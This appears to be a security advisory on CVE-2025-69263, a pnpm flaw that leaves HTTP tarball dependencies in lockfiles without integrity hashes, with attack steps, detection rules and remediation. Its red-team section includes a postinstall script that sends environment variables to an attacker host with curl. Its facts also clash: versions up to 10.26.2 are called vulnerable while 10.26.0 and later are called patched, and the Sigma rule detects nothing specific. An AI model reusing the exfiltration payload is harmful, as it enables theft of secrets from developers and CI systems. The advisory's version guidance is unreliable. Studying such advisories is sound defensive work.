CVE-2025-69263

Executive Summary

CVE-2025-69263 is a critical supply chain integrity vulnerability in the pnpm package manager (versions 10.26.2 and below). The flaw allows remote HTTP tarball dependencies (and git-hosted tarballs) to be stored in the lockfile without integrity hashes. This enables a remote server to serve different content on each install, even when a lockfile is committed. An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments, bypassing lockfile protections. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched in older versions.

Supply Chain & Package Security

This vulnerability directly impacts the npm ecosystem via pnpm, a popular Node.js package manager. The lack of integrity hashes for HTTP tarballs in the lockfile undermines the fundamental security guarantee of deterministic builds. Attackers can inject malicious code into dependencies at install time, affecting all downstream consumers. This is a classic supply chain attack vector, similar to previous issues with npm’s package-lock.json integrity verification.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Attack Vector: Network (AV:N) – attacker controls the remote HTTP server
• Attack Complexity: Low (AC:L) – no special conditions required
• Privileges Required: None (PR:N) – attacker does not need prior access
• User Interaction: Required (UI:R) – victim must install a package with HTTP tarball dependency
• Scope: Unchanged (S:U) – vulnerability affects only the target component
• Confidentiality Impact: High (C:H) – attacker can exfiltrate data via injected code
• Integrity Impact: High (I:H) – attacker can modify code at install time
• Availability Impact: None (A:N) – no denial of service

Threat Level: High. The attack is easy to execute (low complexity) and can compromise CI/CD pipelines and developer machines. The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as awareness grows.

Deep Dive & Mechanics

The vulnerability lies in pnpm’s lockfile generation logic. When a package depends on an HTTP tarball (e.g., https://example.com/package.tgz), pnpm stores the dependency in pnpm-lock.yaml without an integrity hash (e.g., sha1-... or sha512-...). This means the lockfile does not pin the exact content of the tarball. On each pnpm install, pnpm fetches the tarball from the remote server, which can return different content each time.

Attack Scenario:

1. Attacker publishes a malicious npm package that depends on an HTTP tarball (e.g., https://attacker.com/evil.tgz).
2. Victim installs the malicious package (or a legitimate package that depends on it).
3. pnpm fetches the tarball from the attacker’s server, which serves malicious code (e.g., backdoor, credential stealer).
4. The lockfile is committed, but it provides no protection because it lacks integrity hashes.
5. On subsequent installs (e.g., in CI/CD), the attacker can serve different payloads to different environments.

Root Cause: pnpm’s lockfile format does not enforce integrity verification for HTTP tarballs, unlike npm’s package-lock.json which requires integrity fields. This is a design flaw in the lockfile specification.

Vulnerable vs. Patched Code

Vulnerable (<= 10.26.2):

# pnpm-lock.yaml (vulnerable)
packages:
  /@scope/package@1.0.0:
    resolution:
      tarball: https://example.com/package.tgz
    # No integrity field present

Patched (>= 10.26.0):

# pnpm-lock.yaml (patched)
packages:
  /@scope/package@1.0.0:
    resolution:
      tarball: https://example.com/package.tgz
      integrity: sha512-ABC123...  # Integrity hash added

The fix adds an integrity field to the lockfile entry, ensuring the tarball content is verified against a cryptographic hash. This prevents the remote server from serving different content.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A publicly accessible HTTP server (e.g., attacker.com)
• Ability to publish an npm package (or compromise an existing one)

Steps:

1. Create a malicious npm package with a dependency on an HTTP tarball:

   {
     "name": "malicious-pkg",
     "version": "1.0.0",
     "dependencies": {
       "http-tarball-dep": "https://attacker.com/evil.tgz"
     }
   }
   

2. Host evil.tgz on your server. This tarball contains malicious code (e.g., a postinstall script that exfiltrates environment variables).
3. Publish the package to npm (or trick a victim into installing it directly).
4. When the victim runs pnpm install, pnpm fetches evil.tgz from your server. You can serve different content per request (e.g., based on IP or User-Agent).
5. The malicious code executes during installation (e.g., via postinstall script).

Example malicious tarball structure:

evil.tgz
├── package.json
└── index.js

package.json:

{
  "name": "http-tarball-dep",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node -e 'require(\"child_process\").execSync(\"curl -X POST -d $(env) https://attacker.com/exfil\")'"
  }
}

Blue Team (Defender)

Detection:

• Monitor for HTTP tarball dependencies in pnpm-lock.yaml that lack integrity fields.
• Use static analysis tools to scan lockfiles for missing integrity hashes.
• Enable network monitoring for unexpected outbound connections during pnpm install.

Prevention:

• Upgrade pnpm to version 10.26.0 or later.
• Use a private registry that enforces integrity checks.
• Implement CI/CD pipeline checks to reject lockfiles with missing integrity fields.

Lab Setup:

• Use a sandboxed environment (e.g., Docker) to test the vulnerability.
• Create a test package with an HTTP tarball dependency and observe the lockfile behavior.

Indicators of Compromise (IOCs)

• Lockfile entries in pnpm-lock.yaml with tarball: but no integrity: field.
• Network connections to unknown HTTP servers during pnpm install.
• Unexpected postinstall scripts in dependencies.
• Modified lockfiles after installation (if attacker serves different content).
• File hashes of downloaded tarballs that differ from expected values.

Detection Engineering

YARA Rule

rule pnpm_no_integrity_tarball {
    meta:
        description = "Detects pnpm lockfile entries with HTTP tarballs missing integrity hashes"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-69263"
    strings:
        $tarball = /tarball:\s*https?:\/\//
        $integrity = /integrity:\s*\S+/
    condition:
        $tarball and not $integrity
}

Sigma Rule

title: Pnpm Lockfile Missing Integrity Hash for HTTP Tarball
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects pnpm lockfile entries with HTTP tarballs that lack integrity hashes (CVE-2025-69263)
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: 'pnpm-lock.yaml'
        # Look for lines with tarball but no integrity
    condition: selection
falsepositives:
    - Legitimate use of HTTP tarballs with integrity (patched versions)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69263 - Pnpm HTTP Tarball Download Without Integrity"; flow:to_client; content:"pnpm-lock.yaml"; http_server_body; pcre:"/tarball:\s*https?:\/\//"; pcre:"!/integrity:\s*\S+/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade pnpm to version 10.26.0 or later: pnpm add -g pnpm@latest
2. Audit existing lockfiles for HTTP tarballs without integrity hashes using the YARA rule above.
3. Regenerate lockfiles after upgrade: pnpm install --frozen-lockfile false && pnpm update

Long-term Mitigations:

• Use a private npm registry (e.g., Verdaccio, Artifactory) that enforces integrity checks.
• Implement CI/CD pipeline checks to reject lockfiles with missing integrity fields.
• Monitor for HTTP tarball dependencies in your dependency tree.
• Consider using npm instead of pnpm if this vulnerability is a concern (npm’s lockfile requires integrity by default).

Workarounds:

• If upgrade is not possible, manually add integrity hashes to lockfile entries for HTTP tarballs (not recommended for large projects).
• Use a proxy that validates tarball integrity before passing to pnpm.

Valters IT
Securing the supply chain, one hash at a time.